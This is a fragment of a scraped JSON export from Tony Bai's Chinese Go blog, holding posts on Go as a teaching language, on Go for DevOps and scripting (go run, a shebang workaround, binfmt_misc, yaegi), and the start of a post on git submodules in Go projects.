条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 31\" loading=\"lazy\" src=\"/images/wp-content/uploads/pass-torch-to-go-new-leadership-team-1.png\"\u003e\u003c/p\u003e","title":"Go语言的新时代：新领导团队和未来规划"},{"content":"与Thorsten Ball的共鸣：Go作为教学语言在技术写作中的优越性 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 与Thorsten Ball的共鸣：Go作为教学语言在技术写作中的优越性 十月 9, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/10/09/resonating-with-thorsten-ball-on-go-in-technical-writing\n近日，两本备受好评的畅销书《用Go语言自制解释器(Writing An Interpreter In Go)》和《用Go语言自制编译器(Writing A Compiler In Go)》的作者、前Sourcegraph工程师索斯藤·鲍尔（Thorsten Ball）发表了一篇名为“Glad I did it in Go”的文章。在这篇文章中，Thorsten表达了他对8年前编写这两本书时选择Go语言作为教学语言的庆幸之情。\n2021年12月17日，我的第一本Go技术图书《Go语言精进之路vol1和vol2》出版了，至今好像是已经是第4次重印了(修正了勘误表中的所有瑕疵)。作为该书作者，当我读到Thorsten Ball的这篇回顾文章时，我感到了一种强烈的共鸣，其中的许多观点与我的不谋而合。尽管我们的书主题不同，但我们都体会到了选择Go语言作为教学语言进行技术写作的巨大优势。\n在这篇文章中，在《Go语言精进之路》出版即将三年之际，我想借此机会分享我的thoughts，探讨Go语言如何为技术作者提供了独特的优势。\n1. Go的稳定性和向后兼容性 首当其冲的优势就是Go的稳定性和向后兼容性，它们给我留下了深刻的印象。三年快过去了，当初《Go语言精进之路》中使用Go 1.16版本编写的代码示例，在最新的Go 1.23版本中仍然可以完美运行，几乎不需要任何修改。这种稳定性不仅让我的书保持了长期的相关性，也让读者能够轻松地在不同版本的Go环境中实践书中的内容。正如Thorsten所提到的，他只需添加一个简单的go.mod文件，就能使8年前的代码适应新的Go版本依赖管理和构建模式，这种对更新需求的最小化，在快速发展的编程语言世界中，实属难能可贵。\nGo的稳定性还体现在语法特性上，《Go语言精进之路》一书中讲解的语法和惯用法在今天依然是完全有效的，除了loopvar的语义变更可能会让极少的内容略显“过时”。Thorsten也提到了这种稳定性的好处：8年前的代码运行golangci-lint得到的警告与当时是相同的(便于读者复现书中的情形)，其书中代码风格仍然符合现在的Go惯例写法。\n此外，Thorsten还提及了Go工具链和标准库的稳定性：8年来Go的工具链几乎没有变化，新手容易上手。像Thorsten一样，我也发现Go的开发环境和工具在多年来保持了惊人的一致性。这意味着书中介绍的开发实践和工具使用方法始终有效，大大降低了内容过时的风险。对技术作者来说，这种稳定性是无价的，它允许我们专注于概念和最佳实践，而不是不断更新工具相关的内容。\n以上Go的这些稳定性和向后兼容，让我的书中的内容具有了更为持久的生命力，书中内容的价值变得更为长效，也大大减轻了作者对书籍维护和更新的负担，在技术书籍的生命周期中，这一点尤为宝贵。\n2. Go的简洁性和可读性 其次，在编写《Go语言精进之路》时，我发现Go的简洁性和可读性为技术写作带来了极大的帮助。许多读者反馈说，即使他们之前没有Go的经验，也能快速上手并理解书中的概念。这种简洁和直观性让Go也成为了编写教程和教学材料的理想选择。此外，正如在项目中所经历的那样，Thorsten也强调了Go语言的语法简单直观在教学过程中的所展现的优势，它既能让初学者快速入门，也能使得书中关于解析器和编译器实现的核心思路能够被清晰地传达给读者，即便在探讨复杂的概念时，也能保持清晰明了。\n同时，Thorsten强调内置的gofmt带来的通用风格和测试框架也简化了学习过程，让读者可以专注于理解核心概念和解释器/编译器的实现，而不是纠结于环境设置和代码风格。\n3. Go代码易于理解和翻译 Thorsten提到许多读者在从未写过Go代码的前提下，能够将他的Go代码轻松翻译成其他语言，这体现了Go在跨语言学习和理解方面的优势，有利于扩大了书籍的受众群体，而不仅限于Go开发者。Go社区的多样性和活跃度也为此做出了重要贡献，各种语言背景的开发者都能在Go中找到共鸣。这种跨语言的适应性不仅拓展了书籍的应用范围，也增强了其教育价值。\n4. 小结 回顾这三年，我与Thorsten一样，越发感慨选择Go作为教学语言进行技术写作是多么明智的决定。当然，我这本书本身就是围绕Go语言展开的^_^，这与Thorsten的书籍主题有所不同。Thorsten在8年前高瞻远瞩地选择Go，才着实令人钦佩，要知道那时的Go刚刚发布1.6版本。Go语言不仅是一个强大的编程工具，更是技术作者的得力助手。它的稳定性、简洁性、易理解性和良好的翻译能力，以及稳定优秀的工具链，为我们创造高质量、长寿命的技术内容提供了坚实的基础。\n与Thorsten Ball一样，我也为选择Go感到庆幸。看到自己的作品能够持续为读者提供价值，这种成就感是无可比拟的。Go语言在技术写作中展现出的优越性，不仅使我们的书籍能够经受时间的考验，还为整个技术写作领域树立了新的参考标杆。\n展望未来，我相信Go语言将继续是技术作者的优秀选择。它不仅是一种编程语言，更是连接作者、读者与技术的桥梁。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/10/09/resonating-with-thorsten-ball-on-go-in-technical-writing/","summary":"\u003ch1 id=\"与thorsten-ball的共鸣go作为教学语言在技术写作中的优越性--tony-bai\"\u003e与Thorsten Ball的共鸣：Go作为教学语言在技术写作中的优越性 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"与thorsten-ball的共鸣go作为教学语言在技术写作中的优越性\"\u003e与Thorsten Ball的共鸣：Go作为教学语言在技术写作中的优越性\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e十月 9, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/10/09/resonating-with-thorsten-ball-on-go-in-technical-writing/#respond\" title=\"《与Thorsten Ball的共鸣：Go作为教学语言在技术写作中的优越性》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 29\" loading=\"lazy\" src=\"/images/wp-content/uploads/resonating-with-thorsten-ball-on-go-in-technical-writing-1.png\"\u003e\u003c/p\u003e","title":"与Thorsten Ball的共鸣：Go作为教学语言在技术写作中的优越性"},{"content":"\n本文永久链接 – https://tonybai.com/2024/10/08/go-languages-versatility-from-devops-to-daily-scripts\n2024年初，TIOBE编程语言排行榜上，Go再次进入了前十，并在之后又成功冲高至第七名。\nGo语言的排名上升，至少在Reddit Go论坛上帖子数量和在线人数上得到了体现，尽管目前与Rust热度仍有差距，但可见Go的关注度在提升：\n2024年国庆节假期某天下午的实时在线数对比\n随着Go语言人气的上升，论坛中的问题也变得愈发多样化。许多Gopher常常问及为何Go是DevOps语言和Go适合用作脚本语言吗等问题，这些都反映了Go语言的多面性。\n从最初的系统编程语言，到如今在DevOps领域的广泛应用，再到一些场合被探索用作脚本语言，Go展现出了令人惊叹的灵活性和适应性。在本篇文章中，我们将聚焦于Go语言在DevOps领域的应用以及它作为脚本替代语言的潜力，聊聊其强大多面性如何满足这些特定场景的需求。\n1. Go在DevOps中的优势 随着DevOps的发展，平台工程(Platform Engineering)这一新兴概念逐渐兴起。在自动化任务、微服务部署和系统管理中，编程语言的作用变得愈发重要。Go语言凭借其高性能、并发处理能力以及能够编译成单一二进制文件的特点，越来越受到DevOps领域开发人员的青睐，成为开发DevOps工具链的重要组成部分。\n首先，Go的跨平台编译能力使得DevOps团队可以在一个平台上编译，然后在多个不同的操作系统和架构上运行，结合编译出的单一可执行文件的能力，大大简化了部署流程，这也是很多Go开发者认为Go适合DevOps的第一优势：\n$GOOS=linux GOARCH=amd64 go build -o myapp-linux-amd64 main.go $GOOS=linux GOARCH=arm64 go build -o myapp-linux-arm64 main.go $GOOS=darwin GOARCH=amd64 go build -o myapp-darwin-amd64 main.go $GOOS=windows GOARCH=amd64 go build -o myapp-windows-amd64.exe main.go 其次，Go的标准库仿佛“瑞士军刀”，开箱即用，为DevOps场景提供了所需的丰富的网络、加密和系统操作功能库，大幅降低对外部的依赖，即便不使用第三方包生态系统，也可以满足大部分的DevOps功能需求。\n此外，Go的goroutines和channels为处理高并发任务提供了极大便利，这在DevOps中也尤为重要。例如，以下代码展示了如何使用goroutines并发检查多个服务的健康状态：\nfunc checkServices(services []string) { var wg sync.WaitGroup for _, service := range services { wg.Add(1) go func(s string) { defer wg.Done() if err := checkHealth(s); err != nil { log.Printf(\u0026#34;Service %s is unhealthy: %v\u0026#34;, s, err) } else { log.Printf(\u0026#34;Service %s is healthy\u0026#34;, s) } }(service) } wg.Wait() } 并且，许多知名的DevOps基础设施、中间件和工具都是用Go编写的，如Docker、Kubernetes、Prometheus等，集成起来非常丝滑。这些工具的成功进一步证明了Go在DevOps领域的适用性。\n2. Go作为脚本语言的潜力 在传统的DevOps任务中，Python和Shell脚本长期以来都是主力军，它们(尤其是Python)以其简洁的语法和丰富的生态系统赢得了DevOps社区的广泛青睐。然而，传统主力Python和Shell脚本虽然灵活易用，但在处理大规模数据或需要高性能的场景时往往力不从心。此外，它们的动态类型系统可能导致运行时错误，增加了调试难度。\n随着Go的普及，它的“超高性价比”逐渐被开发运维人员所接受：既有着接近于脚本语言的较低的学习曲线与较高的生产力(也得益于Go超快的编译速度)，又有着静态语言的高性能，还有单一文件在部署方面的便利性。\n下面是一个简单的文件处理脚本，用于向大家展示Go的简单易学：\npackage main import ( \u0026#34;bufio\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; \u0026#34;strings\u0026#34; ) func main() { file, err := os.Open(\u0026#34;input.txt\u0026#34;) if err != nil { fmt.Println(\u0026#34;Error opening file:\u0026#34;, err) return } defer file.Close() scanner := bufio.NewScanner(file) for scanner.Scan() { line := scanner.Text() if strings.Contains(line, \u0026#34;ERROR\u0026#34;) { fmt.Println(line) } } } 这个示例虽然要比同等功能的Python或shell代码行数要多，但由于Go的简单和直观，多数人都很容易看懂这段代码。\n此外，Go的静态强类型系统可以在编译时捕获更多错误，避免在运行时的调试，提高了脚本在运行时的可靠性。\n开发运维人员眼中的脚本语言，如Shell脚本和Python脚本，通常是直接基于源代码进行解释和运行的。实际上，Go语言同样可以实现这一点，而其关键工具就是go run命令。这个命令允许开发者快速执行Go代码，从而使Go源码看起来更像是“脚本”，下面我们就来看看go run。\n3. go run：桥接编译型语言与脚本语言的利器 我们知道go run命令实际上是编译和运行的组合，它首先编译源代码，然后立即执行生成的二进制文件。这个过程对用户来说是透明的，使得Go程序可以像脚本一样方便地运行。这一命令也大大简化了Go程序的开发流程，使Go更接近传统的脚本语言工作流。可以说，通过go run，Go语言向脚本语言的使用体验更靠近了一步。\n此外，go run与go build在编译阶段的行为并不完全相同：\ngo run在运行结束后，不保留编译后的二进制文件；而go build生成可执行文件并保留。\ngo run编译时默认不包含调试信息，以减少构建时间；而go build则保留完整的调试信息。\ngo run可以使用-exec标志指定运行环境，比如：\n$go run -exec=\u0026#34;ls\u0026#34; main.go /var/folders/cz/sbj5kg2d3m3c6j650z0qfm800000gn/T/go-build1742641170/b001/exe/main 我们看到，如果设置了-exec标志，那么go run -exec=”prog” main.go args编译后的命令执行就变为了”prog a.out args”。go run还支持跨平台模拟执行，当GOOS或GOARCH与系统默认值不同时，如果在\\$PATH路径下存在名为”go_\\$GOOS_\\$GOARCH_exec”的程序，那么go run就会执行：\n$go_$GOOS_$GOARCH_exec a.out args 比如：go_js_wasm_exec a.out args go run通常用于运行main包，在go module开启的情况下，go run使用的是main module的上下文。go build可以编译多个包，对于非main包时只检查构建而不生成输出\ngo run还支持运行一个指定版本号的包\n当指定了版本后缀（如@v1.0.0或@latest）时，go run会进入module-aware mode（模块感知模式），并忽略当前目录或上级目录中的go.mod文件。这意味着，即使你当前的项目中存在依赖管理文件go.mod，go run也不会影响或修改当前项目的依赖关系，下面这个示例展示了这一点：\n$go run golang.org/x/example/hello@latest go: downloading golang.org/x/example v0.0.0-20240925201653-1a5e218e5455 go: downloading golang.org/x/example/hello v0.0.0-20240925201653-1a5e218e5455 Hello, world! 这个功能特别适合在不影响主模块依赖的情况下，临时运行某个工具或程序。例如，如果你只是想测试某个工具的特定版本，或者快速运行一个远程程序包，而不希望它干扰你正在开发的项目中的依赖项，这种方式就很实用。\n不过有一点要注意的是：go run的退出状态并不等于编译后二进制文件的退出状态，看下面这个示例：\n// main.go成功退出 $go run main.go Hello from myapp! $echo $? 0 // main.go中调用os.Exit(2)退出 $go run main.go Hello from myapp! exit status 2 $echo $? 1 go run使用退出状态1来表示其运行程序的异常退出状态，但这个值和真实的exit的状态值不相等。\n到这里我们看到，go run xxx.go可以像bash xxx.sh或python xxx.py那样，以“解释”方式运行一个Go源码文件。这使得Go语言在某种程度上具备了脚本语言的特性。然而，在脚本语言中，例如Bash或Python等，用户可以通过将源码文件设置为可执行，并在文件的首行添加适当的解释器指令，从而直接运行脚本，而无需显式调用解释器。这种灵活性使得脚本的执行变得更加简便。那么Go是否也可以做到这一点呢？我们继续往下看。\n4. Go脚本化的实现方式 下面是通过一些技巧或第三方工具实现Go脚本化的方法。对于喜欢使用脚本的人来说，最熟悉的莫过于shebang（即解释器指令）。在许多脚本语言中，通过在文件的第一行添加指定的解释器路径，可以直接运行脚本，而无需显式调用解释器。例如，在Bash或Python脚本中，通常会看到这样的行：\n#!/usr/bin/env python3 那么Go语言支持shebang吗? 是否可以实现实现类似的效果呢？我们下面来看看。\n4.1 使用“shebang(#!)”运行Go脚本 很遗憾，Go不能直接支持shebang，我们看一下这个示例main.go：\n#!/usr/bin/env go run package main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; ) func main() { s := \u0026#34;world\u0026#34; if len(os.Args) \u0026gt; 1 { s = os.Args[1] } fmt.Printf(\u0026#34;Hello, %v!\\n\u0026#34;, s) } 这一示例的第一行就是一个shebang解释器指令，我们chmod u+x main.go，然后执行该Go“脚本”：\n$./main.go main.go:1:1: illegal character U+0023 \u0026#39;#\u0026#39; 这个执行过程中，Shell可以正常识别shebang，然后调用go run去运行main.go，问题就在于go编译器视shebang这一行为非法语法！\n常规的shebang写法行不通，我们就使用一些trick，下面是改进后的示例：\n//usr/bin/env go run $0 $@; exit package main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; ) func main() { s := \u0026#34;world\u0026#34; if len(os.Args) \u0026gt; 1 { s = os.Args[1] } fmt.Printf(\u0026#34;Hello, %v!\\n\u0026#34;, s) } 这段代码则可以chmod +x 后直接运行：\n$./main.go Hello, world! $./main.go gopher Hello, gopher! 这是因为它巧妙地结合了shell脚本和Go代码的特性。我们来看一下第一行：\n//usr/bin/env go run $0 $@; exit 这一行看起来像是Go的注释，但实际上是一个shell命令。当文件被执行时，shell会解释这一行，/usr/bin/env用于寻找go命令的路径，go run \\$0 \\$@ 告诉go命令运行当前脚本文件(\\$0)以及所有传递给脚本的参数(\\$@)，当go run编译这个脚本时，又会将第一行当做注释行而忽略，这就是关键所在。最后的exit确保shell在Go程序执行完毕后退出。如果没有exit，shell会执行后续Go代码，那显然会导致报错！\n除了上述trick外，我们还可以将Go源码文件注册为可执行格式(仅在linux上进行了测试)，下面就是具体操作步骤。\n4.2 在Linux系统中注册Go为可执行格式 就像在Windows上双击某个文件后，系统打开特定程序处理对应的文件一样，我们也可以将Go源文件(xxx.go)注册为可执行格式，并指定用于处理该文件的程序。实现这一功能，我们需要借助binfmt_misc。binfmt_misc是Linux内核的一个功能，允许用户注册新的可执行文件格式。这使得Linux系统能够识别并执行不同类型的可执行文件，比如脚本、二进制文件等。\n我们用下面命令将Go源文件注册到binfmt_misc中：\necho \u0026#39;:golang:E::go::/usr/local/bin/gorun:OC\u0026#39; | sudo tee /proc/sys/fs/binfmt_misc/register 简单解释一下上述命令：\n:golang:：这是注册的格式的名称，可以自定义。 E::：表示执行文件的魔数（magic number），在这里为空，表示任何文件类型。 go::：指定用于执行的解释器，这里是go命令。 /usr/local/bin/gorun：指定用于执行的程序路径，这里是一个自定义的gorun脚本 :OC：表示这个格式是可执行的（O）并且支持在运行时创建（C）。 当你执行一个Go源文件时，Linux内核会检查文件的类型。如果文件的格式与注册的格式匹配，内核会调用指定的解释器（在这个例子中是gorun）来执行该文件。\ngorun脚本是我们自己编写的，源码如下：\n#!/bin/bash # 检查是否提供了源文件 if [ -z \u0026#34;$1\u0026#34; ]; then echo \u0026#34;用法: gorun \u0026lt;go源文件\u0026gt; [参数...]\u0026#34; exit 1 fi # 检查文件是否存在 if [ ! -f \u0026#34;$1\u0026#34; ]; then echo \u0026#34;错误: 文件 $1 不存在\u0026#34; exit 1 fi # 将第一个参数作为源文件，剩余的参数作为执行参数 GO_FILE=\u0026#34;$1\u0026#34; shift # 移除第一个参数，剩余的参数将会被传递 # 使用go run命令执行Go源文件，传递其余参数 go run \u0026#34;$GO_FILE\u0026#34; \u0026#34;$@\u0026#34; 将gorun脚本放置带/usr/local/bin下，并chmod +x使其具有可执行权限。\n接下来，我们就可以直接执行不带有”shebang”的正常go源码了：\n// main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; ) func main() { s := \u0026#34;world\u0026#34; if len(os.Args) \u0026gt; 1 { s = os.Args[1] } fmt.Printf(\u0026#34;Hello, %v!\\n\u0026#34;, s) } 直接执行上述源文件：\n$ ./main.go Hello, world! $ ./main.go gopher Hello, gopher! 4.3 第三方工具支持 Go社区也有一些将支持将Go源文件视为脚本的解释器工具，比如：traefik/yaegi等。\n$go install github.com/traefik/yaegi/cmd/yaegi@latest go: downloading github.com/traefik/yaegi v0.16.1 $yaegi main.go Hello, main.go! yaegi还可以像python那样，提供Read-Eval-Print-Loop功能，我们可以与yaegi配合进行交互式“Go脚本”编码：\n$ yaegi \u0026gt; 1+2 : 3 \u0026gt; import \u0026#34;fmt\u0026#34; : 0xc0003900d0 \u0026gt; fmt.Println(\u0026#34;hello, golang\u0026#34;) hello, golang : 14 \u0026gt; 类似的提供REPL功能的第三方Go解释器还包括：cosmos72/gomacro、x-motemen/gore等，这里就不深入介绍了，感兴趣的童鞋可以自行研究。\n5. 小结 在本文中，我们探讨了Go语言在DevOps和日常脚本编写中的多面性。首先，Go语言因其高性能、并发处理能力及跨平台编译特性，成为DevOps领域的重要工具，助力于自动化任务和微服务部署。其次，随着Go语言的普及，其作为脚本语言的潜力逐渐被开发运维人员认识，Go展现出了优于传统脚本语言的高效性和可靠性。\n我们还介绍了Go脚本的实现方式，包括使用go run命令，它使得Go程序的执行更像传统脚本语言，同时也探讨了一些技巧和工具，帮助开发者将Go源码文件作为可执行脚本直接运行。通过这些探索，我们可以看到Go语言在现代开发中的灵活应用及其日益增长的吸引力。\n随着AI能力的飞速发展，使用Go编写一个日常脚本就是分分钟的事情，但Go的特性让这样的脚本具备了传统脚本语言所不具备的并发性、可靠性和性能优势。我们有理由相信，Go在DevOps和脚本编程领域的应用将会越来越广泛，为开发者带来更多的可能性和便利。\n6. 参考资料 Using Go as a scripting language in Linux – https://blog.cloudflare.com/using-go-as-a-scripting-language-in-linux/ Go as a Scripting Language – https://www.infoq.com/news/2020/04/go-scripting-language/ Go compared to Python for small scale system administration scripts and tools – https://utcc.utoronto.ca/~cks/space/blog/sysadmin/SysadminGoVsPython Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/10/08/go-languages-versatility-from-devops-to-daily-scripts/","summary":"\u003cp\u003e\u003cimg alt=\"Image 29\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-languages-versatility-from-devops-to-daily-scripts-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/10/08/go-languages-versatility-from-devops-to-daily-scripts\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/10/08/go-languages-versatility-from-devops-to-daily-scripts\"\u003ehttps://tonybai.com/2024/10/08/go-languages-versatility-from-devops-to-daily-scripts\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e2024年初，TIOBE编程语言排行榜上，\u003ca href=\"https://mp.weixin.qq.com/s?__biz=MzIyNzM0MDk0Mg==\u0026amp;mid=2247497403\u0026amp;idx=1\u0026amp;sn=03bc972e38163e1539da765249d46586\u0026amp;chksm=e860115adf17984cfe47f9680d8c0fb6370987ad45415ff2d38233d05fe6b315210ce6ada385#rd\"\u003eGo再次进入了前十，并在之后又成功冲高至第七名\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003eGo语言的排名上升，至少在\u003ca href=\"https://www.reddit.com/r/golang/\"\u003eReddit Go论坛\u003c/a\u003e上帖子数量和在线人数上得到了体现，尽管目前与\u003ca href=\"https://tonybai.com/tag/rust\"\u003eRust\u003c/a\u003e热度仍有差距，但可见Go的关注度在提升：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 30\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-languages-versatility-from-devops-to-daily-scripts-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e2024年国庆节假期某天下午的实时在线数对比\u003c/p\u003e","title":"从DevOps到日常脚本：聊聊Go语言的多面性"},{"content":"Go项目中使用Git Submodule，还有这个必要吗？ | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 Go项目中使用Git Submodule，还有这个必要吗？ 十月 5, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/10/05/using-git-submodules-in-go-projects\n在软件开发中，依赖管理一直是一个重要的议题，特别是在像Go这样的编程语言中，随着项目的扩展，如何有效管理依赖变得至关重要。Git Submodule作为Git的一个重要功能，允许在一个Git仓库中嵌入另一个仓库，从而方便地管理跨项目的代码共享。然而，Go语言引入的Go Module机制似乎已经解决了依赖管理的问题，那么在Go项目中，是否还有使用Git Submodule的必要呢？本文将简单探讨一下Go项目中Git Submodule的使用方法，并分析它是否还值得使用。\n1. Git Submodule是什么？ Git Submodule是Git版本管理工具提供的一个功能，允许你将一个Git仓库作为另一个Git仓库(主仓库)的子目录。主仓库通过记录Submodule的URL和commit hash来追踪Submodule。当你克隆一个包含Submodule的仓库时，需要额外的步骤来初始化和更新Submodule。\n下面是一个将github.com/rsc/pdf仓库作为git submodule的示例。\n我们先建立主仓库：\n$mkdir main-project $cd main-project $go mod init main-project $git init $git add -A $git commit -m\u0026#34;initial import\u0026#34; . [master (root-commit) 8227e65] initial import 1 file changed, 3 insertions(+) create mode 100644 go.mod 接下来，我们来添加submodule：\n$git submodule add https://github.com/rsc/pdf.git Cloning into \u0026#39;/Users/tonybai/Test/Go/submodule/main-project/pdf\u0026#39;... remote: Enumerating objects: 48, done. remote: Counting objects: 100% (30/30), done. remote: Compressing objects: 100% (9/9), done. remote: Total 48 (delta 21), reused 21 (delta 21), pack-reused 18 (from 1) Unpacking objects: 100% (48/48), done. $git commit -m \u0026#34;Add rsc/pdf as a submodule\u0026#34; [master 2778170] Add rsc/pdf as a submodule 2 files changed, 4 insertions(+) create mode 100644 .gitmodules create mode 160000 pdf git submodule在主仓库的顶层目录下创建一个.gitmodules文件：\n$cat .gitmodules [submodule \u0026#34;pdf\u0026#34;] path = pdf url = https://github.com/rsc/pdf.git pdf子目录下的.git不再是目录而是一个文件，其内容指示了pdf仓库的git元数据目录的位置，即主仓库下的.git/modules/pdf下：\n$cat pdf/.git gitdir: ../.git/modules/pdf git submodule这种机制的主要用途是当多个项目之间有共享代码时，避免将共享的代码直接复制到每个项目中，而是通过Submodule来引用外部仓库。这种方式使得共享代码的版本控制更加明确和独立，也方便了项目之间的更新、管理与版本控制。\n通过git submodule status可以查看主仓库下各个submodule的当前状态：\n$git submodule status c47d69cf462f804ff58ca63c61a8fb2aed76587e pdf (v0.1.0-1-gc47d69c) 通过git submodule update还可以更新各个submodule到最新版本。 但通常在主仓库中会锁定Submodule的特定版本，通过锁定Submodule的版本，可以确保主仓库使用的是经过测试和验证的Submodule代码，这减少了因Submodule更新而导致的意外问题。同时，锁定版本还可以确保所有开发者和构建环境都使用完全相同版本的Submodule，这对于保证构建的一致性和可重现性至关重要。版本锁定让你还可以精确控制何时更新Submodule，你可以在准备好处理潜在的变更和进行必要的测试时，有计划地更新Submodule版本。submodule的版本锁定可以通过下面命令组合实现：\ncd path/to/submodule git checkout \u0026lt;specific-commit-hash\u0026gt; cd - git add path/to/submodule git commit -m \u0026#34;Lock submodule to specific version\u0026#34; 这个提交会更新主仓库中记录的Submodule版本，其他克隆主仓库的人在初始化和更新Submodule时，就会自动获取到这个特定版本。\n在以Git为版本管理工具的项目中，Submodule在以下一些场景中还是很有用的：\n在多项目依赖场景下，我们可以使用Submodule共享公共库； 在大型单一仓库中，Submodule有助于我们模块化管理各个子项目； 统一对Submodule的版本进行严格管理，避免在更新时引入未测试的新代码。 submodule虽然可以解决一些问题，但由于增加了项目管理复杂度以及学习成本，应用算不上广泛，但也不乏一些知名的开源项目在使用，比如git项目自身、openssl、qemu等。\n不过，对于Go项目而言，Go Modules是Go在Go 1.11引入的新的官方依赖管理机制，它通过go.mod文件声明依赖关系，通过go.sum文件确保依赖的完整性，实现了构建的可重现性。那么，在Go项目中还有必要引入sub modules吗？\n这里我们先不下结论，而是先来看看Go项目引入submodule后该如何使用呢。\n2. Go项目的Git Submodule使用方法 在前面我们在本地建立了一个main-project，然后将rsc/pdf作为submodule导入到了main-project中，main-project是一个Go项目，它的go.mod如下：\n// main-project/go.mod module main-project go 1.23.0 我们现在就继续使用这个示例来看看Go项目中git submodule的使用方法。\n我们先来看一种错误的使用方法：使用相对路径。\n我们在main-project下建立一个main.go的源文件：\n// main-project/main.go package main import ( _ \u0026#34;./pdf\u0026#34; ) func main() { println(\u0026#34;ok\u0026#34;) } 建完后，整个main-project的目录布局如下：\n$tree -F . ├── go.mod ├── main.go └── pdf/ ├── LICENSE ├── README.md ├── lex.go ├── name.go ├── page.go ├── pdfpasswd/ │ └── main.go ├── ps.go ├── read.go └── text.go 